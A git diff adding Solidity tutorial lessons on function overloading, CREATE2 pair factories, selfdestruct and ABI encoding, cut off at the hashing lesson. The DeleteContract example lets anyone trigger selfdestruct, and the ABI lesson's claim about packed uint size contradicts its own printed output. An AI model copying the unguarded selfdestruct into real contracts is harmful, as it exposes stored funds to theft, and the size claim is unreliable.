Solidity concepts - function overloading, libraries, imports, fallback functions, sending ETH, contract interactions, delegatecall, contract creation, ABI encoding/decoding, hashing, selectors, and error handling with try-catch. +level: 2 +tags: + - solidity +steps: + - name: 16. Overloading + path: step1 + - name: 17. Library + path: step2 + - name: 18. Import + path: step3 + - name: 19. Receive ETH + path: step4 + - name: 20. Sending ETH + path: step5 + - name: 21. Interact with Contract + path: step6 + - name: 22. Call + path: step7 + - name: 23. Delegatecall + path: step8 + - name: 24. Create + path: step9 + - name: 25. Create2 + path: step10 + - name: 26. DeleteContract + path: step11 + - name: 27. ABI Encoding and Decoding + path: step12 + - name: 28. Hash + path: step13 + - name: 29. Function Selector + path: step14 + - name: 30. Try Catch + path: step15 diff --git a/SolidityBasics_Part2_Advanced/readme.md b/SolidityBasics_Part2_Advanced/readme.md new file mode 100644 index 000000000..856458822 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/readme.md @@ -0,0 +1,3 @@ +# Solidity Basics - Part 2: Advanced Concepts + +This tutorial aggregates lessons 16-30 covering advanced Solidity concepts. diff --git a/SolidityBasics_Part2_Advanced/step1/Overloading.sol b/SolidityBasics_Part2_Advanced/step1/Overloading.sol new file mode 100644 index 000000000..a36af4518 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step1/Overloading.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + contract Overload { + function saySomething() public pure returns(string memory){ + return("Nothing"); + } + + function saySomething(string memory something) public pure returns(string memory){ + return(something); + } + + function f(uint8 _in) public pure returns (uint8 out) { + out = _in; + } + + function f(uint256 _in) public pure returns (uint256 out) { + out = _in; + } +} diff --git a/SolidityBasics_Part2_Advanced/step1/img/16-1.jpeg b/SolidityBasics_Part2_Advanced/step1/img/16-1.jpeg new file mode 100644 index 000000000..5782d3ee0 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step1/img/16-1.jpeg differ diff --git a/SolidityBasics_Part2_Advanced/step1/step1.md b/SolidityBasics_Part2_Advanced/step1/step1.md new file mode 100644 index 000000000..c0f94a6a6 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step1/step1.md @@ -0,0 +1,69 @@ +--- +title: 16. Overloading +tags: + - solidity + - advanced + - wtfacademy + - overloading +--- +# WTF Solidity Tutorial: 16. Overloading + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +## Overloading +`solidity` allows functions to be overloaded(`overloading`). That is, functions with the same name but different input parameter types +can exist at the same time, and they are regarded as different functions. +Note that `solidity` does not allow the modifier (`modifier`) to be overloaded. + +### Function Overloading +For example, we could define two functions both called `saySomething()`: +one without any arguments and outputting `"Nothing"`, the other taking a `string` argument and outputting a `string`. + +```solidity +function saySomething() public pure returns(string memory){ + return("Nothing"); +} + +function saySomething(string memory something) public pure returns(string memory){ + return(something); +} +``` + +After compiling, all overloading functions become different function selectors due to different parameter types. +For the specific content of the function selector, please refer to [WTF Solidity Tutorial: 29. Function Selector](https://github.com/AmazingAng/WTF-Solidity/tree/main/29_Selector). + +Take the `Overloading.sol` contract as an example, after compiling and deploying on Remix. +After calling the overloading functions `saySomething()` and `saySomething(string memory something)` respectively, +we can see different results, for the functions are regarded as different ones. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/16_Overloading_en/step1/img/16-1.jpeg) + +### Argument Matching + +When the overloading function is called, the variable type will be matched between the input parameter and function parameters. +An error will be reported if there are multiple matching overloading functions, +The following example has two functions called `f()`, one have `uint8` parameter and the other get `uint256`: + +```solidity + function f(uint8 _in) public pure returns (uint8 out) { + out = _in; + } + + function f(uint256 _in) public pure returns (uint256 out) { + out = _in; + } +``` +For `50` can be converted to `uint8` as well as `uint256`, so it will report an error if we call `f(50)`. + +## Summary + +In this lecture, we introduce the basic usage of the overloading function in `solidity`: +functions with the same name but different input parameter types can exist at the same time, +which are treated as different functions. + + diff --git a/SolidityBasics_Part2_Advanced/step10/create2.sol b/SolidityBasics_Part2_Advanced/step10/create2.sol new file mode 100644 index 000000000..1a0fc613e --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step10/create2.sol @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Pair{ + address public factory; // factory contract address + address public token0; // token1 + address public token1; // token2 + + constructor() payable { + factory = msg.sender; + } + + // called once by the factory at time of deployment + function initialize(address _token0, address _token1) external { + require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check + token0 = _token0; + token1 = _token1; + } +} + +contract PairFactory2{ + mapping(address => mapping(address => address)) public getPair; // Find the Pair address by two token addresses + address[] public allPairs; // Save all Pair addresses + + function createPair2(address tokenA, address tokenB) external returns (address pairAddr) { + require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //Avoid conflicts when tokenA and tokenB are the same + // Calculate salt with tokenA and tokenB addresses + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //Sort tokenA and tokenB by size + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // Deploy new contract with create2 + Pair pair = new Pair{salt: salt}(); + // call initialize function of the new contract + pair.initialize(tokenA, tokenB); + // Update address map + pairAddr = address(pair); + allPairs.push(pairAddr); + getPair[tokenA][tokenB] = pairAddr; + getPair[tokenB][tokenA] = pairAddr; + } + + // Calculate `Pair` contract address beforehand + function calculateAddr(address tokenA, address tokenB) public view returns(address predictedAddress){ + require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //Avoid conflicts when tokenA and tokenB are the same + // Calculate salt with tokenA and tokenB addresses + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //Sort tokenA and tokenB by size + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // Calculate contract address + predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( + bytes1(0xff), + address(this), + salt, + keccak256(type(Pair).creationCode) + ))))); + } +} \ No newline at end of file diff --git a/SolidityBasics_Part2_Advanced/step10/create2test.js b/SolidityBasics_Part2_Advanced/step10/create2test.js new file mode 100644 index 000000000..d06179a7c --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step10/create2test.js @@ -0,0 +1,34 @@ +const { expect } = require("chai"); +const { ethers } = require("hardhat"); + +describe("create2 test", function () { + it("Should return the new create2test once it's changed", async function () { + console.log("1.==> deploy pair"); + const PairFactory = await ethers.getContractFactory("Pair"); + const Pair = await PairFactory.deploy(); + await Pair.waitForDeployment(); + console.log("pair address =>",Pair.target); + + console.log(); + console.log("2.==> deploy PairFactory2"); + const PairFactory2Factory = await ethers.getContractFactory("PairFactory2"); + const PairFactory2 = await PairFactory2Factory.deploy(); + await PairFactory2.waitForDeployment(); + console.log("PairFactory2 address =>",PairFactory2.target); + + console.log("3.==> calculateAddr for wbnb people"); + const WBNBAddress = "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"; + const PEOPLEAddress = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c"; + + let predictedAddress = await PairFactory2.calculateAddr(WBNBAddress, PEOPLEAddress); + console.log("predictedAddress address =>",predictedAddress); + + console.log("4.==> createPair2 for wbnb people"); + await PairFactory2.createPair2(WBNBAddress, PEOPLEAddress); + let createPair2Address = await PairFactory2.allPairs(0); + console.log("createPair2Address address =>",createPair2Address); + + expect(createPair2Address).to.equal(predictedAddress); + + }); +}); \ No newline at end of file diff --git a/SolidityBasics_Part2_Advanced/step10/img/25-1_en.jpg b/SolidityBasics_Part2_Advanced/step10/img/25-1_en.jpg new file mode 100644 index 000000000..eec0876b3 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step10/img/25-1_en.jpg differ diff --git a/SolidityBasics_Part2_Advanced/step10/step1.md b/SolidityBasics_Part2_Advanced/step10/step1.md new file mode 100644 index 000000000..61eac62cd --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step10/step1.md @@ -0,0 +1,173 @@ +--- +title: 25. Create2 +tags: + - solidity + - advanced + - wtfacademy + - create contract + - create2 +--- + +# Solidity Minimalist Tutorial: 25. Create2 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +`CREATE2` opcode helps us to predict the address of the smart contract before it is deployed on the Ethereum network, and `Uniswap` created `Pair` contract with `CREATE2` instead of `CREATE`. + +In this chapter, I will introduce the use of `CREATE2`. + +## How does `CREATE` calculate the address +Smart contracts can be created by other contracts and regular accounts using the `CREATE` opcode. + +In both cases, the address of the new contract is calculated in the same way: the hash of the creator's address (usually the wallet address which will deploy or the contract address) and the nonce(the total number of transactions sent from this address or, for contract account, the total number of contracts created. Every time a contract is created, the nonce will plus one). +``` +new address = hash(creator's address, nonce) +``` +creator's address won't change, but the nonce may change over time, so it's +difficult to predict the address of the contract created with CREATE. + +## How does `CREATE2` calculate address +The purpose of `CREATE2` is to make contract addresses independent of future events. No matter what happens on blockchain in the future, you can deploy the contract to a pre-calculated address. + +The address of the contract created with `CREATE2` is determined by four parts: +- `0xFF`: a constant to avoid conflict with `CREATE` +- creator's address +- salt: a value given by the creator +- The bytecode of the contract to be deployed + +``` +new address = hash("0xFF", creator's address, salt, bytecode) +``` +`CREATE2` ensures that if the creator deploys a given contract bytecode with `CREATE2` and is given `salt`, it will be stored at `new address`. + +## How to use `CREATE2` +`CREATE2` is used in the same way as `Create`. It also creates a `new` contract and passes in parameters which are needed for the new contract constructor, except with an extra `salt` parameter. +``` +Contract x = new Contract{salt: _salt, value: _value}(params) +``` +`Contract` is the name of the contract to be created, `x` is the contract object (address), and `_salt` is the specified salt; If the constructor is `payable`, a number of(`_value`) `ETH` can be transferred to the contract at creation, and `params` is the parameter of new contract constructor. + +## Minimalist Uniswap2 + +Similar to [the previous chapter](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/24_Create_en), we use `Create2` to implement a minimalist `Uniswap`. + +### `Pair` +```solidity +contract Pair{ + address public factory; // factory contract address + address public token0; // token1 + address public token1; // token2 + + constructor() payable { + factory = msg.sender; + } + + // called once by the factory at time of deployment + function initialize(address _token0, address _token1) external { + require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check + token0 = _token0; + token1 = _token1; + } +} +``` +`Pair` contract is simple and contains three state variables: `factory`, `token0` and `token1`. + +The constructor assigns the `factory` to the factory contract address at deployment time. `initialize` function is called once by the factory contract when the `Pair` contract is created, updating `token0` and `token1` to the addresses of two tokens in the token pair. + +### `PairFactory2` +```solidity +contract PairFactory2{ + mapping(address => mapping(address => address)) public getPair; // Find the Pair address by two token addresses + address[] public allPairs; // Save all Pair addresses + + function createPair2(address tokenA, address tokenB) external returns (address pairAddr) { + require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //Avoid conflicts when tokenA and tokenB are the same + // Calculate salt with tokenA and tokenB addresses + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //Sort tokenA and tokenB by size + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + //Deploy new contract with create2 + Pair pair = new Pair{salt: salt}(); + // call initialize function of the new contract + pair.initialize(tokenA, tokenB); + // Update address map + pairAddr = address(pair); + allPairs.push(pairAddr); + getPair[tokenA][tokenB] = pairAddr; + getPair[tokenB][tokenA] = pairAddr; + } +``` +Factory contract(`PairFactory2`) has two state variables. `getPair` is a map of two token addresses to the token pair address. It is convenient to find the token pair address according to tokens. `allPairs` is an array of token pair addresses, storing all token pair addresses. + +`PairFactory2` contract has only one `createPair2` function, which uses `CREATE2` to create a new `Pair` contract based on the two token addresses `tokenA` and `tokenB` entered. Inside +```solidity + Pair pair = new Pair{salt: salt}(); +``` +It's the above code that uses `CREATE2` to create a contract, which is very simple, and `salt` is the hash of `token1` and `token2`. +```solidity + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); +``` + +### Calculate the `Pair` address beforehand +```solidity + // Calculate Pair contract address beforehand + function calculateAddr(address tokenA, address tokenB) public view returns(address predictedAddress){ + require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //Avoid conflicts when tokenA and tokenB are the same + // Calculate salt with tokenA and tokenB addresses + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //Sort tokenA and tokenB by size + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // Calculate contract address + predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( + bytes1(0xff), + address(this), + salt, + keccak256(type(Pair).creationCode) + ))))); + } +``` +We write a `calculateAddr` function to precompute the address of `Pair` that `tokenA` and `tokenB` will generate. With it, we can verify whether the address we calculated in advance is the same as the actual address. + +To verify whether the address of the token pair created matches the precomputed address, you can deploy the `PairFactory2` contract and call `createPair2` with the following two addresses as parameters. Then, observe the resulting address of the token pair created. + +``` +WBNB address: 0x2c44b726ADF1963cA47Af88B284C06f30380fC78 +PEOPLE address on BSC: +0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c +``` + +#### If there are parameters in the deployment contract constructor + +For example, when `create2` contract: +> Pair pair = new Pair{salt: salt}(address(this)); + +When calculating, you need to package parameters and bytecode together: + +> ~~keccak256(type(Pair).creationCode)~~ +> => keccak256(abi.encodePacked(type(Pair).creationCode, abi.encode(address(this)))) +```solidity +predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( + bytes1(0xff), + address(this), + salt, + keccak256(abi.encodePacked(type(Pair).creationCode, abi.encode(address(this)))) + ))))); +``` + +### Verify on remix +1. First, the address hash of `WBNB` and `PEOPLE` is used as `salt` to calculate the address of `Pair` contract +2. Calling `PairFactory2.createPair2` and the address of `WBNB` and `PEOPLE` are passed in as parameters to get the address of `pair` contract created. +3. Compare the contract address. + +![create2_remix_test.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/25_Create2_en/step1/img/25-1_en.jpg) + +## Application scenario of `CREATE2` +1. The exchange reserves addresses for new users to create wallet contracts. +2. `Factory` contract driven by `CREATE2`. The creation of trading pairs in `UniswapV2` is done by calling `create2` in `Factory`. The advantage is that it can get a certain `pair` address so that the Router can calculate `pair` address through `(tokenA, tokenB)`, and no longer need to perform a `Factory.getPair(tokenA, tokenB)` cross-contract call. + +## Summary +In this chapter, we introduced the principle of `CREATE2` opcode and how to use it. Besides, we used it to create a minimalist version of `Uniswap` and calculate the token pair contract address in advance. `CREATE2` helps us to determine the contract address before deploying the contract, which is the basis for some `layer2` projects. diff --git a/SolidityBasics_Part2_Advanced/step11/DeleteContract.sol b/SolidityBasics_Part2_Advanced/step11/DeleteContract.sol new file mode 100644 index 000000000..740d01f48 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step11/DeleteContract.sol @@ -0,0 +1,21 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// selfdestruct: Delete the contract and forcibly transfer the remaining ETH of the contract to the designated account + +contract DeleteContract { + uint public value = 10; + + constructor() payable {} + + receive() external payable {} + + function deleteContract() external { + // Call selfdestruct to destroy the contract and transfer the remaining ETH to msg.sender. + selfdestruct(payable(msg.sender)); + } + + function getBalance() external view returns (uint balance) { + balance = address(this).balance; + } +} diff --git a/SolidityBasics_Part2_Advanced/step11/img/26-1.png b/SolidityBasics_Part2_Advanced/step11/img/26-1.png new file mode 100644 index 000000000..525238c36 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step11/img/26-1.png differ diff --git a/SolidityBasics_Part2_Advanced/step11/img/26-2.png b/SolidityBasics_Part2_Advanced/step11/img/26-2.png new file mode 100644 index 000000000..62ef859e1 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step11/img/26-2.png differ diff --git a/SolidityBasics_Part2_Advanced/step11/step1.md b/SolidityBasics_Part2_Advanced/step11/step1.md new file mode 100644 index 000000000..8ccfd973d --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step11/step1.md @@ -0,0 +1,81 @@ +--- +Ethereum communitytitle: 26. DeleteContract +tags: + - solidity + - advanced + - wtfacademy + - selfdestruct + - delete contract +--- +# WTF Solidity Tutorial: 26. DeleteContract + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) +--- + +## `selfdestruct` + +The `selfdestruct` operation is the only way to delete a smart contract and the remaining Ether stored at that address is sent to a designated target. The `selfdestruct` operation is designed to deal with the extreme case of contract errors. Originally the opcode was named `suicide` but the Ethereum community decided to rename it as `selfdestruct` because suicide is a heavy subject and we should make every effort possible not to be insensitive to programmers who suffer from depression. + +### How to use `selfdestruct` + +It's simple to use `selfdestruct`: + +```solidity +selfdestruct(_addr); +``` + + `_addr` is the address to store the remaining `ETH` in the contract. + +### Example: + +```solidity +contract DeleteContract { + + uint public value = 10; + + constructor() payable {} + + receive() external payable {} + + function deleteContract() external { + // use selfdestruct to delete the contract and send the remaining ETH to msg.sender + selfdestruct(payable(msg.sender)); + } + + function getBalance() external view returns(uint balance){ + balance = address(this).balance; + } +} +``` + +In `DeleteContract`, we define a public state variable named `value` and two functions:`getBalance()` which is used to get the ETH balance of the contract,`deleteContract()` which is used to delete the contract and transfer the remaining ETH to the sender of the message. + +After the contract is deployed, we send 1 ETH to the contract. The result should be 1 ETH while we call `getBalance()` and the `value` should be 10. + +Then we call `deleteContract().` The contract will self-destruct and all variables will be cleared. At this time, `value` is equal to `0` which is the default value, and `getBalance()` also returns an empty value. + +### Attention + +1. When providing the contract destruction function externally, it is best to declare the function to only be called by the contract owner such as using the function modifier `onlyOwner`. +2. When the contract is destroyed, the interaction with the smart contract can also succeed and return `0`. +3. Security and trust issues often arise when a contract includes a `selfdestruct` function. This feature opens up attack vectors for potential attackers. For instance, attackers might exploit `selfdestruct` to frequently transfer tokens to a contract, significantly reducing the cost of gas for attacking. Although this tactic is not commonly employed, it remains a concern. Furthermore, the presence of the `selfdestruct` feature can diminish users' confidence in the contract. + +### Example from Remix + +1. Deploy the contract and send 1 ETH to the contract. Check the status of the contract. + +![deployContract.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/26_DeleteContract_en/step1/img/26-2.png) + +2. Delete the contract and check the status of the contract. + +![deleteContract.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/26_DeleteContract_en/step1/img/26-1.png) + +By checking the contract state, we know that ETH is sent to the specified address after the contract is destroyed. After the contract is deleted, we can still interact with the contract. So we cannot confirm whether the contract has been destroyed based on this condition. + +## Summary + +`selfdestruct` is the emergency button for smart contracts. It will delete the contract and transfer the remaining `ETH` to the designated account. When the famous `The DAO` hack happened, the founders of Ethereum must have regretted not adding `selfdestruct` to the contract to stop the hacker attack. diff --git a/SolidityBasics_Part2_Advanced/step12/ABIEncode.sol b/SolidityBasics_Part2_Advanced/step12/ABIEncode.sol new file mode 100644 index 000000000..273ffb362 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step12/ABIEncode.sol @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract ABIEncode{ + uint x = 10; + address addr = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; + string name = "0xAA"; + uint[2] array = [5, 6]; + + function encode() public view returns(bytes memory result) { + result = abi.encode(x, addr, name, array); + } + + function encodePacked() public view returns(bytes memory result) { + result = abi.encodePacked(x, addr, name, array); + } + + function encodeWithSignature() public view returns(bytes memory result) { + result = abi.encodeWithSignature("foo(uint256,address,string,uint256[2])", x, addr, name, array); + } + + function encodeWithSelector() public view returns(bytes memory result) { + result = abi.encodeWithSelector(bytes4(keccak256("foo(uint256,address,string,uint256[2])")), x, addr, name, array); + } + function decode(bytes memory data) public pure returns(uint dx, address daddr, string memory dname, uint[2] memory darray) { + (dx, daddr, dname, darray) = abi.decode(data, (uint, address, string, uint[2])); + } +} diff --git a/SolidityBasics_Part2_Advanced/step12/img/27-1_en.png b/SolidityBasics_Part2_Advanced/step12/img/27-1_en.png new file mode 100644 index 000000000..397d25515 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step12/img/27-1_en.png differ diff --git a/SolidityBasics_Part2_Advanced/step12/img/27-2_en.png b/SolidityBasics_Part2_Advanced/step12/img/27-2_en.png new file mode 100644 index 000000000..1d08d11e0 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step12/img/27-2_en.png differ diff --git a/SolidityBasics_Part2_Advanced/step12/img/27-3_en.png b/SolidityBasics_Part2_Advanced/step12/img/27-3_en.png new file mode 100644 index 000000000..b3d4aa7d8 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step12/img/27-3_en.png differ diff --git a/SolidityBasics_Part2_Advanced/step12/img/27-4_en.png b/SolidityBasics_Part2_Advanced/step12/img/27-4_en.png new file mode 100644 index 000000000..d878b9059 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step12/img/27-4_en.png differ diff --git a/SolidityBasics_Part2_Advanced/step12/img/27-5_en.png b/SolidityBasics_Part2_Advanced/step12/img/27-5_en.png new file mode 100644 index 000000000..78b2741a0 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step12/img/27-5_en.png differ diff --git a/SolidityBasics_Part2_Advanced/step12/img/27-6_en.png b/SolidityBasics_Part2_Advanced/step12/img/27-6_en.png new file mode 100644 index 000000000..5b9a95015 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step12/img/27-6_en.png differ diff --git a/SolidityBasics_Part2_Advanced/step12/step1.md b/SolidityBasics_Part2_Advanced/step12/step1.md new file mode 100644 index 000000000..530c54bd5 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step12/step1.md @@ -0,0 +1,135 @@ +--- +title: 27. ABI Encoding and Decoding +tags: + - solidity + - advanced + - wtfacademy + - abi encoding + - abi decoding +--- + +# Solidity Minimalist Tutorial: 27. ABIEncode&Decode + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +`ABI`(Application Binary Interface) is the standard for interacting with Ethereum smart contracts. Data is encoded based on its type, and because the encoded result doesn't contain type information, it is necessary to indicate their types when decoding. + +In Solidity, `ABI encode` has four functions: `abi.encode`, `abi.encodePacked`, `abi.encodeWithSignature`, `abi.encodeWithSelector`. While `ABI decode` has one function: `abi.decode`, which is used to decode the data of `abi.encode`. + +In this chapter, We will learn how to use these functions. + +## ABI encode +We will encode four variables, their types are `uint256` (alias `uint`), `address`, `string`, `uint256[2]`: +```solidity + uint x = 10; + address addr = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; + string name = "0xAA"; + uint[2] array = [5, 6]; +``` + +### `abi.encode` +Use [ABI rules](https://learnblockchain.cn/docs/solidity/abi-spec.html) to encode the given parameters. `ABI` is designed to interact with smart contracts by filling each parameter with 32-byte data and splicing them together. If you want to interact with contracts, you should use `abi.encode`. +```solidity + function encode() public view returns(bytes memory result) { + result = abi.encode(x, addr, name, array); + } +``` +The result of encoding is`0x000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`. Since `abi.encode` fills each data with 32 bytes data, there are a lot of `0` in middle + +### `abi.encodePacked` +Encode given parameters according to their minimum required space. It is similar to `abi.encode`, but omits a lot of `0` filled in. For example, only 1 byte is used to encode the `uint` type. You can use `abi.encodePacked` when you want to save space and don't interact with contracts. For example when computing `hash` of some data. +```solidity + function encodePacked() public view returns(bytes memory result) { + result = abi.encodePacked(x, addr, name, array); + } +``` +The result of encoding is`0x000000000000000000000000000000000000000000000000000000000000000a7a58c0be72be218b41c608b7fe7c5bb630736c713078414100000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000006`. Because `abi.encodePacked` compacts encoding, the length of result is much shorter than `abi.encode`. + +### `abi.encodeWithSignature` +Similar to `abi.encode` function, the first parameter is `function signatures`, such as `"foo(uint256, address, string, uint256[2])"`. It can be used when calling other contracts. +```solidity + function encodeWithSignature() public view returns(bytes memory result) { + result = abi.encodeWithSignature("foo(uint256,address,string,uint256[2])", x, addr, name, array); + } +``` +The result of encoding is`0xe87082f1000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`. This is equivalent to adding 4 bytes `function selector` to the front of result of `abi.encode`[^note]. +[^note]: Function selectors identify functions by signature processing(Keccak–Sha3) using function names and arguments, which can be used for function calls between different contracts. + +### `abi.encodeWithSelector` +Similar to `abi.encodeWithSignature`, except that the first argument is a `function selector`, the first 4 bytes of `function signature` Keccak hash. + +```solidity + function encodeWithSelector() public view returns(bytes memory result) { + result = abi.encodeWithSelector(bytes4(keccak256("foo(uint256,address,string,uint256[2])")), x, addr, name, array); + } +``` + +The result of encoding is`0xe87082f1000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`. The result is the same as `abi.encodeWithSignature` + +## ABI decode +### `abi.decode` +`abi.decode` is used to decode the binary code generated by `abi.encode` and restore it to its original parameters. + +```solidity + function decode(bytes memory data) public pure returns(uint dx, address daddr, string memory dname, uint[2] memory darray) { + (dx, daddr, dname, darray) = abi.decode(data, (uint, address, string, uint[2])); + } +``` +We input binary encoding of `abi.encode` into `decode`, which will decode the original parameters: + +![](https://images.mirror-media.xyz/publication-images/jboRaaq0U57qVYjmsOgbv.png?height=408&width=624) + +## 在remix上验证 +- deploy the contract to check the encoding result of `abi.encode` +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/27_ABIEncode_en/step1/img/27-1_en.png) + +- compare and verify the similarities and differences of the four encoding functions +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/27_ABIEncode_en/step1/img/27-2_en.png) + +- check the decoding result of `abi.decode` +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/27_ABIEncode_en/step1/img/27-3_en.png) + +## ABI的使用场景 +1. In contract development, ABI is often paired with a call to implement a low-level call to contract. +```solidity + bytes4 selector = contract.getValue.selector; + + bytes memory data = abi.encodeWithSelector(selector, _x); + (bool success, bytes memory returnedData) = address(contract).staticcall(data); + require(success); + + return abi.decode(returnedData, (uint256)); +``` +2. ABI is often used in ethers.js to implement contract import and function calls. +```solidity + const wavePortalContract = new ethers.Contract(contractAddress, contractABI, signer); + /* + * Call the getAllWaves method from your Smart Contract + */ + const waves = await wavePortalContract.getAllWaves(); +``` +3. After decompiling a non-open source contract, some functions cannot find function signatures but can be called through ABI. +- 0x533ba33a() is a function which shows after decompiling, we can only get function-encoded results, and can't find the function signature. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/27_ABIEncode_en/step1/img/27-4_en.png) +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/27_ABIEncode_en/step1/img/27-5_en.png) +- in this case we can't call through constructing an interface or contract +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/27_ABIEncode_en/step1/img/27-6_en.png) + +In this case, we can call through the ABI function selector. +```solidity + bytes memory data = abi.encodeWithSelector(bytes4(0x533ba33a)); + + (bool success, bytes memory returnedData) = address(contract).staticcall(data); + require(success); + + return abi.decode(returnedData, (uint256)); +``` + +## Summary +In Ethereum, data must be encoded into bytecode to interact with smart contracts. In this chapter, we introduced four `abi encoding` functions and one `abi decoding` function. diff --git a/SolidityBasics_Part2_Advanced/step13/Hash.sol b/SolidityBasics_Part2_Advanced/step13/Hash.sol new file mode 100644 index 000000000..06a565e8c --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step13/Hash.sol @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: MIT +pragma 